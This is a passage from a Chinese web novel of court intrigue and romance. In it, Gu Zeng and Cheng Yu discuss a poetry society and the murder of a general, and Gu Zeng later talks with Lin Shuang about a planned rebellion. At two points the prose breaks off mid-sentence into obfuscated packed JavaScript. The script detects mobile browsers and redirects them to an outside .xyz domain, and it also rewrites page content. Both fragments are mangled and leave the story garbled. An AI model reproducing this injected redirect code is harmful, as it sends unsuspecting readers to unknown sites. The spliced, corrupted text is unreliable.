就到宫门了,我自己走就行,你们回去吧。” 随行宫人不敢忤逆,也火速告退。 天光浅淡,朦胧覆金,狭长的街道上只余两道长长的黑影。 顾曾这才开口问他:“到底有毒没毒?” “不确定,” 程彧笑了笑,“让老东西先试试。” 老东西?这家伙说的该不会是……顾曾压低了声音:“你疯了吧,不怕引火上身么?” 程彧手遮着半张脸,浅浅吐出一口气,神色满是疲惫,却仍是死性不改地低笑一声:“你不担心陛下的安危,反而来挂念我,阿曾,你莫不是心里有我?” 顾曾一窒,捏了捏指骨关节,学着他的样子笑道:“对,我心里有你,我天天都想把你打得满地找牙。” 程彧不禁大笑,脸色已轻松了许多,招呼着她向前缓缓而行,低声道:“西域人没那个胆量直接下毒,不过是动些歪心思罢了。据我猜测,那掌中山水所染的香与陛下的龙涎相克,闻得久了怕是会神思郁结,叫人提不起精神。” 他顿了一顿,似是当真觉得可惜,叹道,“都怪小宸王把他们收拾得太服帖了,这帮家伙竟只派了些有贼心没贼胆的半吊子来。” 金光打亮了他含笑生花的半张脸,但见他眼神澄澈、宛若稚童,可脱口而出的却是要砍头的话。 顾曾想到那对他比对儿子和宠妃还百依百顺的乾安帝,一时间不知道该为谁感到惋惜。 明明他就在眼前,她却觉得有些看不清此人的真面目,喃喃道:“我还以为你会是这满朝最忠心的臣子,毕竟他对你那么好。” 程彧没答话,只短促地笑了一声,带着些自嘲。 顾曾眼睫翕动,随着这声笑抬眼看向他柔和的侧影。 如此近距离的打量,她这才第一次发现,原来程二公子不满脸坏笑的时候,嘴角也永远抿着一股随时都要上扬的劲儿,眉心却是微微蹙着的,眼底更是飘忽不定、不知道在看向何处。 明明两年前在阆州,他不是这样的。 他仿佛一颗粘了糖衣的药丸,一旦含化了表皮那层腻到发齁的甜蜜,底子便是难以忍受的苦涩。 “程容与,”顾曾见他发怔,揪了揪他的衣袖,“你在京城不开心么?” 她甚至想脱口而出:若是不开心,随我去渭城吧? 程彧却在回神之前便唇角一扬,抬手拨了拨自己那梳得一丝不苟的头发丝,大笑:“怎么会呢,我高兴得……” 顾曾便在那一瞬难过得不能自已,明白是自己又多余开口了。 程彧看到她眼底一闪而过的落寞,犹如被人攥紧了心口,那抹刻意的笑意终于渐渐消失,幽幽叹了口气:“阿曾别担心,我没事。” “莫名其妙,”顾曾脸色一红,“谁担心你了……” 程彧这次是真心笑了一声:“行行行,是我自作多情,总之一切,一会儿回家路上同你说。” 二人转眼便出了宫门。 程彧已经恢复了“正常”,依旧是那副没个正形的风骚样子,还自认风流地倚着宫墙外檐,抬手打了个响指,高声喝道:“小爷的马车呢?” 巡逻的侍卫正在一旁纳凉,惊得虎躯一震,连忙立直了身子,一传十十传百地喊道:“二公子的马车呢,还不快过来?” 很快,车夫就把马车停在了程彧面前,尊贵的二公子只要抬抬腿上车就行,一步都不用多走。 如此嚣张跋扈的做派……顾曾觉得再和他多鬼混一阵子,家里的列祖列宗托梦也得来数落她。 程彧却是面不改色心不跳,褰起他那辆京城第一显眼的华丽车帘,对顾曾使了个眼色:“小顾,说好的送我回家,上车。” 顾曾瞠目结舌了一瞬,旋即冷笑一声,这家伙死定了! 53.与君酌(九) 从内庭至丹阳门的这段路行驶了一刻多钟,程彧始终没有再开口。 他似是累极,又似是有所顾忌,索性便一路沉默着倚着车壁,眼睛却是不安分,每隔一小会儿就要偷偷摸摸瞟一眼顾曾,而后情不自禁地傻笑。 顾曾自然留意到了,可是程彧故作高深地不说话,她也不知该不该在皇宫里放肆,当下唯一能恣意去做的就是在他望来时恶狠狠地回瞪一眼。 可这只让程彧笑得更肆无忌惮。 马车甫一过丹阳门,车夫便迫不及待地偏头问道:“二公子,是回府还是去平康……” “咳咳咳咳!”程彧一阵紧锣密鼓的咳嗽,说道,“去亲仁坊的关大人家,不急,你慢慢驾车。” 车夫应了是。 程彧心虚地瞄了一眼顾曾,发现她并无异样,这才松了口气,心道:“还好阿曾对京城不甚熟悉,否则要是听到我在平康坊厮混,定要……” 他的思绪戛然而止,忽然觉得自己是在庸人自扰。顾曾心里指不定拿他当什么卑劣纨绔呢,又怎会在意这些细微末节? 他眼睫微动,几不可察地叹了口气,随后忍不住将手指探到袖袋中,悄悄抚摸着那颗在宸王府外捡到的紫玉琉璃花钿,心底竟涌出几分不可言说的妒忌。 她来到京城,连声招呼也未同他打,却宁愿冒着被金吾卫捉住的风险也要去见宸王,还把他送她的东西随意丢在了树上,事后也并没有回去寻找。 若不是他自己也好做这梁上君子,恐怕下辈子都发现不了自己这番心意被她弃之如敝履。 孰轻孰重,一目了然了。 顾曾见他突然皱起了眉,又想到今日他陪着自己跪了那么久、金枝玉叶的身子大概吃不消,便决定大发慈悲,不同他计较他叫她“小顾”这件事了。 她清了清嗓子,生涩地挑起话头:“不是送你回家么,怎么变成送我回家了?” 程彧挂上一抹艰难的笑意:“拿我当什么人了,我怎么忍心让你奔波?” 顾曾冷哼一声,忽然意识到,除了骂回去,她竟然不知该如何回复他这些不着调的话。 她果然是这般无趣至极的人,难怪留不住什么朋友。 但也几乎是立刻,她便一笑了之,不再自怨自艾。 “说正事吧。”顾曾含了一口那有清心奇效的苦茶,不紧不慢道,“今日陛下明显不愿应你所请,可你附耳对他说完,他便转了心意,想来你们是有事想让我去做,却又不肯大张旗鼓地宣扬?” “阿曾慧眼如炬,”程彧颔首,慢吞吞道,“自从三年前我当上大内统领这个闲职……” “……”顾曾噎了一口,心道,大昭果然已经没救了,大内统领都能算闲职了,那身为上将军的她小姑可能也就该整日喝茶听曲,还有她自己,还戍什么边,在京城躺着不舒服么? 程彧见她神色有异,只嘿嘿一笑,继续道:“上任以来,鄙人一件正事没办成过,篓子倒是捅了一箩筐,好在十二卫各司其职,在京城防务这方面倒也干得还算不错。我呢,说来惭愧,还时不时能得到陛下的夸赞。” 他一点也看不出惭愧害臊的样子,顾曾不由得心道了好几声佩服,这世上居然有脸皮如此厚之人。 程彧见她渐渐有了点笑意,这才心满意足的一阵窃喜:“往常只要出了事,陛下都会让千牛卫暗中调查,有唐鸿雪这个家伙在前面顶着,陛下就算是生气,也顶多打他一顿板子。” 顾曾挑了挑眉:“没数落你么?” 程彧漫不经心一笑:“我都当了二十多年的废物了,陛下要是整日都为此生气,那不……” “你不是。” 顾曾眉心一动,忽地低声截断了他的话。 程彧怔忪了一瞬:“阿曾?” “你这人虽顽劣不羁、奢靡成性、又嚣张又跋扈,还总说些欠揍的混账话,可是……”顾曾眼皮翕动,轻声细语道,“程容与,你不是废物。” 她望进他微微颤抖的瞳孔,又火速移开,眉目不乱也不惊,只心跳如鼓。 程彧本是习惯了的自嘲,可她的神色却是如此真诚、澄澈,三言两语便将他心底辛苦堆砌了许多年的屏障与伪装摧毁殆尽。 他不知所措起来,薄唇抿成一线,心底一半是欣喜若狂、一半是丧魂落魄。 直至他眼前闪回了那些时时困扰他的梦魇,欣喜之情方逐渐被强烈的耻意所取代。 他会嫉妒其他令她在意的人,会克制不住地去撩拨她、期盼她任何的回应,可真等到她正眼瞧向自己的时候,他却只想逃。 程彧始终心知肚明,他从来都配不上她,不论是以前的傅无隅还是如今的顾曾,他所能做的唯有仰慕而已。 再多的,他也不配拥有了。 顾曾为了掩饰慌张,再看向他时,眼中已镀上了一层堪称大义凛然的悲悯,仿佛要拯救什么即将堕落深渊的可怜人。 不论程彧信与不信,今日既然谈到了此事,她就索性将话说个明白,悠悠道:“我曾亲眼见过,你机敏、胆识过人,还有一副不多得的侠义心肠,单凭这些,无论旁人如何看待,我也决不许你这般鄙夷自己。” 程彧心乱如麻过后已然是心如死水,只苦笑:“阿曾,我……你、你把我想得太好了。” “我没说你好,”顾曾淡淡道,“也并非在盲目吹捧你,我只是……” 她说着说着,还是猝不及防地怔住了。 即便最近几日见到的程彧是如此不着调,她的心中却一直记得那日——他一半身子站在月光下,笑着对她说,千万要等他回来相救。 在那之前,顾将军是长空烈火、大漠明珠,年纪轻轻便已威震四海。身为将领,或单枪匹马、或大军出征,一向都是她救别人。 而当程彧此人向她许下一道不顾生死的承诺时,她在那一刻恍然只觉,哪怕他二人中间横跨了一条忘川水,这人也能追到奈何桥边,就算是要砸了孟婆的摊子,他也会把她的魂找回来。 她自忖心里有秆秤,一码归一码,如程彧这样的人,就算是被家里人宠得不知天高地厚,行为放浪了点,就算他与自己并非同路,但也没干过什么十恶不赦之事。 既如此,那便决计不能以“废物”相称。 “我只是信我心中所想罢了。”顾曾吞下胸口翻涌出的热气,面色酡红,可这次,却没有避开他的视线,“你,程容与,是我见过的最好的人……” 程彧的眼前一阵天旋地转,那一刻只心道,有她这句话,他此生已了然,便是死了也无憾。 “……之一。”顾曾终于被自己膈应得受不了了,将头猛地别开来,磕磕绊绊补充道,“我可没说你比宸王殿下还要好。” 程彧那差点就要流出来的眼泪又被一抹无奈的笑给勾了回去,从善如流道:“对对,他天下第一好,我顶多是天下第二好的小郎君。” 顾曾扬了扬眉:“那你兄长呢?” “呃这个么,”程彧笑道,“那我是第三,总不能再低了!” 顾曾这才满意,指尖敲了敲红木案台,身体微微前倾,浅笑道:“天下前三的程二公子,说吧,需要我做什么?” 程彧不禁莞尔,思忖了一会,开口道:“阿曾可听说过‘九城飞花’?” 顾曾眼眸微动,还没来得及应声,程彧便一副什么都知晓的样子,大笑:“看来京城第一博闻强记的褚姐姐已同你说过了。” 褚念筠的确曾在宴会上曾提到,所谓‘九城’,指的便是诗社里九个成员,而‘飞花’则是代指几人因诗结情。 程彧道:“事情原委是这样的,十七年前,我哥程怀瑾那时……我算算……年方十岁,自认年少有为,与同样不知天高地厚的萧家世子萧聿璋在曲江旁的文英亭斗诗。[1] “二人棋逢对手,斗了三天也难解难分,正是如火如荼之际,萧聿璋却应家人之命,不得不启程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15791744|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回临安。二人谁也不肯服输,便约定保持书信往来,于信中战个痛快……” 顾曾不禁弯了弯唇:“想不到世子也有这般年少轻狂的时候。” 程彣可算是她这辈子见过的最柔和最儒雅的人,浅淡的眉眼总似裹蕴着一层云山雾绕的华光,笑容也总是一成不变的端庄,很难把此人同“争强好胜”四个字联系到一起。 “那是你还不了解他,他这人自尊心强得可怖,可是最输不得了。”程彧大摇大摆的在背后说着自家兄长的坏话,还说得愈发起劲。 “文英亭一别,两个人都变着法的出些极难的对子,想要压过对方一头,可对方偏偏又总能奇思妙想地应对,就这样你来我往的持续了一年之久,仍是难分伯仲。 “后来还是刚继位不久的陛下听说了此事,又正逢萧仕临将军擢升,便在京城给萧家择了处宅邸,令其举家搬迁,萧聿璋这便来到京城,与怀瑾一同拜于终南山柳先生门下,常有师兄弟二人堪称笑话的佳话流出,时人称二人为‘京城双璧’。 “陛下后派人整理了他们早年的书信,感念二人才华,便令匠人取其中佳句刻凿于终南山的高崖石壁之上,落款分别赐为——素心幽、潋英芝。” “原来九城飞花是这样来的,”顾曾恍然大悟,“幽居空谷、德行芳馨……‘素心幽’是兰花,指的可是程世子?那‘潋英芝’便是以莲代称萧家世子了?” “不错,阿曾聪颖,一点就透。”程彧不吝夸赞,继续说道,“自那之后,常有文人墨客造访终南山石壁,于下方碎石留下自己的佳作,并以百花之名落款,日积月累,另有七人的名气也渐渐大了起来。 “这些文人骚客一个个都古怪得很,留下的落款也都是各有千秋,好几个人的名号连我也没记住。 “我哥呢,作为伊始的发起者,却格外看重这些对名利趋之若鹜的家伙,和萧聿璋稍加合计,便公开以‘素心幽’与‘潋英芝’的名头在文英亭留下行卷,邀余下七人以书信的方式交流。 “这几人也都殷切,皆对二人有所回应。自此,‘九城飞花’正式建立。” 顾曾沉吟着道:“以书信来交流,这样的话,程、萧两位世子岂非不知那其余七人的身份?” 程彧眼神一亮,笑着颔首:“正是如此呢,所以你说怀瑾他傻不傻,这不是摆明了要当出头鸟么?也就是他命格贵重,又仗着那几年风头正盛,才敢这么干。 “好在这九城飞花以诗结缘,干不出什么大事,最初他们这些人也不过是交流些平仄韵脚、好词好句什么的,没什么意思。” 顾曾嫌弃地眄了他一眼:“在二公子看来,是不是只有吃喝玩乐才有意思?” “差不多吧,至少作诗没什么意思。”程彧嘿嘿一笑,继续道,“这几人名头渐响,天真又不谙世事的程怀瑾却在此时起了个不切实际的主意——他请诗社众人各凭所长,撰写对天下要事的见解,上至新政、下至裁缝家的针线活,只要是对民生有利之事,无一不可。” 他仔细观察着顾曾,见她果然如他所料倒吸了口凉气,忍不住笑道:“如何?你也觉得年轻时候的程怀瑾天真到堪称愚蠢吧?” 顾曾对名满天下的程彣尚有些尊崇之心,便斟酌道:“着实是有些……胆大包天,陛下就没说些什么?” 程彧道:“陛下自然把怀瑾和萧聿璋二人叫过去好生斥责了一番,可他二人却冥顽不灵地说什么‘明主贵于得人,贤主贵于得言’,‘兼听则明,偏信则暗’,‘声无小而不闻,行无隐而不彰’。” 顾曾不自禁冷笑了一声,话自然都是好话,可惜遇上的是乾安帝这种一句也听不进去的帝王,倒是白费了彼时二人一番赤诚的拳拳之心。 程彧缓缓叹了口气:“不过,九城飞花的谏言集还未整理完毕,陛下也还在发愁怎么处置他二人……” 他停顿了一瞬,定睛看向顾曾,低声道:“……北境之战却爆发了。” 54.料峭生(一) 北边一乱,战火迅速席卷了整个大昭,人人都忙着奔波逃命,不论是吟风弄月还是阔论高谈,皆成为了无人在意的琐事。 程彧小心翼翼的一番试探,顾曾的神情依旧瞧不出什么变化,只淡淡接话道:“再后来,萧家出了事,萧世子受到牵连,这九城飞花想必也就散了?” “没错。”程彧的嗓音凝成了一线,几近肃杀,沉重得如一把生锈的铁刃,“那一战牵连太广,何止萧家,连与萧家有姻亲的周家也被贬黜罢官,九城飞花其余人做鸟兽散,从此杳无音讯。 “只有我哥倚仗着外祖父在北境的无上战功全身而退,被陛下不痛不痒地勒令这辈子再也不许作诗著文。” 自那之后,程彣只有在写折子的时候才会提笔。 程彧垂下眼,轻笑了声:“他们总说我哥是什么天下第一大才子、笔下藏蕴山海,可依我看,他现在若去考进士科,怕是连乡试都过不了。” 顾曾没应声。 她并非不为程彣扼腕叹息,只是身为那场大战的亲历者,她经历了丧亲失怙之痛,寻常的磨难已不足以让她有所动容,更何况程彣相比于萧淩,已然是极其幸运的那个了。 程彧说罢往事,抿了口茶,又臭美地拨了拨自己那梳得一丝不苟的头发丝,身子一歪,斜斜倚住摇摇晃晃的马车车壁,语气则急转直上、复而欢快起来:“行了,这些都交代完了,总算可以谈正事了。” 顾曾两眼一翻——此人絮絮叨叨了这么久居然还没说到正事,废话是真多。 程彧一阵大笑,开门见山道:“寒食节的时候,崇贤坊死了个人,陛下把查案的任务交给了十二卫,你要不要猜一猜是谁?” 京城一天内不知要死多少人,此人却如此特别,能让两耳不闻窗外事的乾安帝专门派人去查,定然不是什么小人物。 顾曾不由得上了心,问道:“难道是九城飞花之一?” 程彧眼神一亮,赞道:“阿曾果然聪明,那你要不要再猜猜此人的真实身份?” “你少溜须拍马,”顾曾拧着眉,显然没什么耐心,“再不说你就自己去查吧,我宁愿去神策军陪荣王射木头玩。” 程彧的嘴角噙起一道顽劣的笑,清了清嗓子,故作神秘道:“此人便是,雍州——” “雍州?!” 果然如他所料,顾曾脸色乍变,急道:“这事和宸王殿下有何干系么?” 程二公子心底百转千回,又自嘲又欣慰,感慨自己这一遭真是找对了人。 只要事关宸王,无论前方是何种刀山火海,她绝对会去硬闯。换作旁的什么人,怕是难要她付出这般心血。 他浅酌清茶,呼出一口苦涩之气,说道:“行了,不逗你了。死者正是宸王殿下的手下,扶苍军右副将——王澄颐。我哥猜测,他正是当年的九城飞花之一,雍州、见南山。”[1] 顾曾吃了一惊,猛抽了口短促的凉气,喃喃道:“怎会是他?” 王澄颐身为扶苍军将领,却与郭侯内外勾结,想要置姜祐珣于死地、再取而代之成为扶苍军主将。 这是她早就知道的事情。 身为局中人,姜祐珣最清楚他的两面三刀,早在两年前的云雾山,就曾扬言要他付出代价,不过宸王殿下如今犹身处漩涡中心,最能说得上话的雍州也回不去,对付王澄颐一事也搁置了。 上次顾曾翻墙去找他,二人聊到朝中局势,他还曾提及王澄颐。 这位王将军受他爹的庇护,在边关活得跟个土皇帝似的,日日锦衣玉食,养得恨不得比后宫娘娘还娇嫩。 可自打姜祐珣被关在宸王府中,王澄颐便不得不亲自操刀上阵,奈何怎么也受不了边关苦寒,干了一个月便谎称身体抱恙,大摇大摆回了京城的宅邸“养病”,且一待就是两年,把雍州的大小事务全都推给了任劳任怨做牛马的郭翩。 顾曾想到那天,一向清心寡欲又面瘫的姜祐珣在提到这件事时,脸拧巴得像个龇牙咧嘴的年兽,一副想把王澄颐碎尸万段的架势。 他大概是真不知道,王澄颐此人早在一个多月以前就已遇害。 但眼下听程彧的意思,乾安帝怕是已经将幕后黑手怀疑到他身上了。 朝中局势微妙,郭侯和宸王的明争暗斗恰好维持在一个巧妙的平衡,乾安帝看起来也没有想处置其中一方的意思。 除非一件天大的事砸下来。 而王澄颐的死,俨然便成了这牵一发而动全身的源头。 若给姜祐珣扣上个残害忠良的罪名,等待他的恐怕不仅仅是这件事的处罚,还有那悬而未决的西南一事,都要一并算账。 乾安帝一旦开始偏向郭侯,给他定上几个拥兵自重、恐有二心的罪,身在京城的宸王殿下毫无反抗之力,怕是只有死路一条。 顾曾越想越觉得不妙,舒展了没多久的眉头又深深皱了起来。 程彧打量着她的反应,试探着笑道:“阿曾,依你和小宸王的私交来看,此事会是他所为么?” 顾曾正要开口否认,却见他笑得狡黠,心下登时生了疑——乾安帝如此器重程二公子,连大内统领一职都放心丢给他做,会不会正是看重了他这人畜无害的外表,能叫人不经意间就对他说出了什么不得了的秘密? 程家本就和郭侯交好,又是眼下这种关键时刻,即便是对程彧,顾曾也是不敢随意偏信的。 她既打定了主意要守口如瓶,只道:“我方进京没几日,听到的关于殿下的消息少之又少,哪能知道这些?” 程彧眉头一扬,以二指夹住藏匿在袖袋中的琉璃花钿,说出来的话带着一股酸溜溜的调侃:“你去私会他的时候,他没跟你透底么?看来不拿你当自己人呀。” 顾曾保持着一张雷打不动的面瘫脸,实则已被他漫不经心的几句话吓出了一身冷汗。 也不知这家伙是真发现了什么蛛丝马迹,还是随口一猜吓唬她的,更不敢去想乾安帝究竟知不知道这件事。 稍加思忖,她只淡淡道:“二公子这便是说笑了,我上次同宸王殿下私会还是十三年前。” 程彧见她一副打死都不承认的架势,胸口那股散不去的郁结又加重了几分,甚至开始隐隐作痛起来,心笑自己又何必问这一句来自讨苦吃。 可是不说出来,就这样干巴巴地憋在心里,那他可能会嫉妒到发疯。 见他并不追问,顾曾恰到好处地转开话题:“王澄颐怎么死的?” “暗杀。”程彧从善如流地接话道,“他上午刚进宫得了陛下赏的冷食,下午就悄无声息地死在了府中。” 顾曾:“报官的是谁?” “王府的下人,”程彧应道,“说他家王大人有午歇的习惯,那日却歇了尤其久,一点动静都没发出。小厮等了一个多时辰,觉得实在是可疑,才提胆进了宅院,只发现——” 顾曾正听得聚精会神,程彧却陡然停在了关键之处。她转头一看,发现程二公子正挑起半边眉毛,对她咧嘴一笑:“你猜猜他们看到了什么?” “……”顾曾一脸鄙夷地瞪着他,满脑门写的都是“不好笑”。片刻过后,她才露出一个堪称温婉的笑容,“看到二公子在被人当耗子一样追着打。” 程彧见她一副随时都要暴起给自己一巴掌的架势,讪讪啧了一声:“好好好,别生气。为了让你早日给咱们宛若皎皎月的小宸王洗清嫌疑,我这个阴沟里的老鼠就不再自讨没趣了。” 顾曾总觉得他这话听起来有点奇怪,好像她怎么冷落他了一样,明明是他不分场合地爱胡闹,逗她很好玩么? 程彧脸上的笑容凝固了几息,神情复而沉重又意味深长起来,低声道:“小厮推门而入,只见院内尸横满地,近身侍奉王澄颐的侍婢全部倒在血泊中,而王澄颐自己则身体瘫软在一木桶前,双目犹睁,颈上有个碗大的刀口。 “院墙之上血书遍布,血迹甚至犹未干涸,血书的落款便是——‘见南山’。 “仵作查明,王澄颐颈上的大脉被割开,是被活活放血而死,凶手正是蘸着他的血,以血为墨、在他府中院墙上题满了字。其余几个遇害侍婢则死状一致,皆被一刀捅穿心脏,立即毙命。” 天子脚下,凶手却毫无顾忌地连杀数人,且手段残忍,实在是穷凶极恶。 顾曾蹙着眉,思忖着道:“世子可看过那血书了?” 程彧短促地笑了一声:“怀瑾是读书人,见到这么血腥的场景怕是会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她将拳头捏得咯吱作响,看向春风满面的程二公子,恨不得一拳将他的鼻子打成流血的洼地。 车夫却在此时敲了敲门板:“二公子,到关府了。” 这简直是天籁之音,顾曾一刻都等不了了,立即起身,抬步便要往外走,撂下一句:“凶手既然能追查到王澄颐,说不准也会对世子下手,在事情水落石出之前,还请世子自行保重。” 天色黯淡,马车内犹为昏暗,难辨人影。 顾曾与沉默的程彧擦身而过,嗅到他衣上淡淡的皂香,无端地心跳加速起来。 她忽然意识到,因为自己那些别扭的小心思,她甚至没好好问他这两年过得怎么样,也不知下次再有这样面对面相处的时刻又会是什么时候。 只是这脚下一滞的功夫,她的掌缘一热。 程彧也不知自己怎么就鬼迷心窍地握住了她的手,生怕她这一走就再也不会回来了一样。 见她没有一巴掌拍过来,他破罐破摔地握得更紧了些,说出口的话却破碎又凌乱:“阿曾,你别……我……” 顾曾恍然间回过神来,猛地将手抽出,掌心已然覆了层薄汗。 程彧登时急道:“你先别走,我还没说完案情。王澄颐他的死因蹊跷,还有那凶手,他……” 只一个错眼,顾曾却头也不回地跳下了马车,半个字都没多说。 王澄颐都死了一个多月了,查案又不在这一时。可是再和程容与多待一刻,她怕是又要克制不住地胡思乱想了。 要是再被林霜看出些什么,那估计又是一顿老长老长的唠叨等着她。 程彧没料到她走得如此干脆,怔忪了一瞬,含着笑将头埋进了膝中,双手则有气无力地搭在头顶,模样好不狼狈。 车夫在门口磨破了嘴皮子问他要不要回家,他却恍若未闻,一双眼睛乌沉如墨,面容憔悴难掩,轻轻颤声地自嘲:“就这么不想见到我么……” 他只是想让她留得再久一些,可以再陪他多说一会话,说什么都好,不说也行,只要她在那里就行。 奈何他撩遍天下难逢对手,却实在不会讨她的欢心,这大概就是迟来的报应吧。 55.料峭生(二) 天际繁星明灭,耳畔虫鸣窸窣。 顾曾甫一踏进关府,便觉气氛微妙。 所有女眷都聚在内院等她回来,可是在见到她本人时,又活像看到了鬼,霎时散了个干干净净。 关夫人隔着老远竟然对她福了福身,还有前些日子同她玩得不错的关风遥,一夕之间变得就像不认识了她一样,只眨巴着一双怯生生、水汪汪的眼睛偷偷打量她。 顾曾便明白,林霜已经同关夫人将话都讲清了。她这个顾娘子做了没几日便正式卸了任,继续做她做腻了的将军去。 顾曾一路无言地走到了小院,恰巧看到林霜正在石级前练刀。 她以一短枝为刃,刀法大开大阖,于空中带起猎猎风声,身法却甚是灵动,一动一息已全然与短枝上的残叶融为一体。 在京城的这些时日,林霜有心藏拙,已经许久没这样酣畅淋漓地松动筋骨。这一次,她舞得极为尽兴,顾曾也安静地立在一侧,凝神屏息地看着。 她一直想跟林霜好好练刀,可惜林霜总是说她身板太脆、不适合练刀,便从未好好教她,顾曾领悟的那点三脚猫的刀法全是靠猫在一侧偷看来的。 林霜落下最后一式,旋腕收势,颇为飒爽地将短枝别在了腰间,背身一敛衽,轻声道:“怎么去了那么久?” 顾曾在她面前一向坦诚,第一反应是要张口告程彧的黑状,可是话到了嘴边又犹豫起来,竟第一次觉得一个人的名字是如此难以启齿。 林霜见她不应声,诧异的“咦”了声,转过身来探上她的额头,语气竟有些小心翼翼:“阿曾,无妨么?脸怎么这么红?” 顾曾觉得自己的脑子已经锈迹斑斑,不仅不灵光,还越用越不好使。 “无事的,阿姐。”她慢吞吞地将白天发生的事一一说给了林霜听。 林霜听罢,久久不语。她最担心的事还是不可避免地发生了,虽然早有预感,但一切发生得如此之快,已超出她的掌控能力。 囿于京城的一方小院,林霜忽然有些恍惚,君子凭心,不论是处江湖之远还是居庙堂之高,她都能怡然自得,然而一生辗转京城与西北,见惯了大风大浪,最让她眷恋的还是那个堪称苦寒的边陲小城。 相比在京城做大官,她唯一的心愿是带着妹妹回家,让她能不受牵制地好好活着,只是不知顾曾是怎么想的。 顾曾本人则是没所谓,不仅不烦恼,还整天像个没事人的该吃吃该喝喝,可她愈是这样假装满不在乎,林霜心中的愧意就愈甚。 这孩子是她看着长大的,她最清楚她什么性情——阿曾就是一个什么事情都喜欢憋在心里的人,哪怕是明天就要被押赴刑场,她今天也能强颜欢笑地哄她开心。 林霜的心中愧疚得无法自已:“阿曾……” “阿姐,多余的话就别再说了。”林霜一开口,顾曾就知道她要赔罪,赶忙打了个岔,“程二丢给我一件案子,事关宸王殿下,我不敢敷衍了事,你快帮我想想是怎么一回事。” 她这个阿姐什么都好,就是太不苟言笑,明明还没到火烧眉毛的那一天,何必杞人忧天呢? 她拉着林霜在石阶上坐下,将王澄颐遇害一事细针密缕地同林霜复述了一遍,见林霜边听边打呵欠、云里雾里稀里糊涂的,不由得笑出了声。 林霜向来不擅长什么人情世故,叫她帮着破案也是难为她,本来顾曾也是随意找了个话头,没真指望林霜给出什么答复,怎料林霜托着腮摇摇欲坠地听完,冷不丁来了一句:“没了?” 顾曾:“什么没了?” 林霜随意道:“凶手能在短时间内完成杀人、放血、写下血书、逃之夭夭这些事,且手法娴熟,必然有过人的本领,按理说应当不难盘查,怎么会过去了一个多月仍未结案?有何蹊跷么?” 顾曾答不上来,顿时羞惭难言。 程容与好像的确还有些重要的信息没透露给她,他本来正要说,她却落荒而逃了。此刻想来,实在是大大的不应该。 她有些生自己的气,双眼罩上了一圈不自然的郁愤之色。 林霜对她的一言一行可谓是洞若观火,缓缓道:“你有心事?往常,你断不会这般莽撞。” 她的语气中带着笃定,顾曾连辩解都不知该从何辩起,像个犯错的孩子一样低着头,干脆承认道:“是,阿姐,我……” 可能中了某些人的蛊。 然而她这般倨傲的人,要说出这种话不知要酝酿多久,正当她心一横准备开口时,林霜却缓缓将她的双手护在了掌心中,对她笑道:“阿曾,别怕。” 不远处的资圣寺传来袅袅梵音,烛灯下,她脸颊上横生的细纹和头上隐约的白发甚至散发出普照的佛光。 顾曾心间一暖,跟着便笑了:“好,我不怕。” “别怕。”林霜漫不经心又重复了一遍,闲散得几乎像在唠家常,“傅将带着铸光军蛰伏十年,岂会放任那狗皇帝肆意妄为?若他敢动你半分,便叫他看看我锐不可当的西北将士究竟敌不敌得过他那些不成气候的神策军。” 顾曾愕然一瞬,林霜的意思基本是挑明了傅岚在随时准备着谋反。她讶异道:“这是阿姐的意思,还是小姑的意思?” “自然是将军的意思。”林霜掷地有声道,向她投来一道沉稳如山的视线,“将军早就猜到你在京城会遭遇苛责,便嘱咐我在必要时同你透底——有铸光军在,谁敢动你,便将他挫骨扬灰,若还是不解气,我就带着骁骑营把他家的祖坟踏平。” 她的语气渐渐转柔,“所以,阿曾你别怕。老皇帝同样心如明镜,他投鼠忌器,不敢动你的。” 顾曾这时才明白,原来林霜口中的她的那些“心事”,指的是这些。 她松了口气,面红耳赤地心想道:“我就说么,怎么可能这么轻易就被瞧出来……” 林霜见她神色缓和,笑道:“如何?心里可好受些了?” 顾曾一口气刚缓到一半,思虑起林霜适才的话,并未感到释然,却只觉四周筑起了几道密不透风的围墙将她笼在其中,要她几乎透不过气来。 乾安帝对边陲将士疑心过重,她无法评判傅岚的决定是否明智,只有一件事她是确信的——她不想让铸光军中的任何一人为她而死。 “阿姐,没人能欺负我。”顾曾淡淡道,声音平如直线,“穷通寿夭早有定数,我也不比谁人高贵,没有逆天改命的心思。 “自小我就明白,这世上没什么能让人害怕的。我不怕那皇帝,也不怕死,唯一所求是死得其所,所以阿姐你放心,在干出一番惊天动地的大事之前,我会尽量小心活着,不让自己成为无颜面对爹娘的千古罪人的。” 林霜有些诧异,没想到自己竟然猜错了她的心事,也是第一次觉得这小姑娘的心思已经是她无法捉摸的复杂。 既然她的心事不是对于死生命数的恐惧,那还能是什么?风花雪月么? 林霜倏地笑了笑,赶紧打消了自己这般荒谬的念头——阿曾的心智坚毅如铁,怎会因这些小事烦忧?罢了,她大了,不需要自己操心了。 林霜起身抻了抻身子,又打了个安心惬意的呵欠:“我家阿曾可真懂事,我去歇了,明日你若得空,陪我去市集上逛逛。” 顾曾也站了起来,笑道:“阿姐先歇息,今日被狗皇帝罚着跪了一个多时辰,我现在浑身不爽,得先去解解乏。” 二人轻描淡写地便结束了这值得被砍头的对话,稀松平常得仿佛在讨论明天吃什么。 顾曾要人烧了热水,沐浴净身罢,已觉眼皮沉重得几乎抬不起来,随便披了件衣服,正准备就寝,小院的门却“笃笃”被人敲响了。 关风遥做贼似的探出半截雪白的脑门,几不可闻地嗡了两声:“顾表姐,你睡了么?” 顾曾有些好笑,上前哐的一声将门拉开了:“睡了,莫扰。” 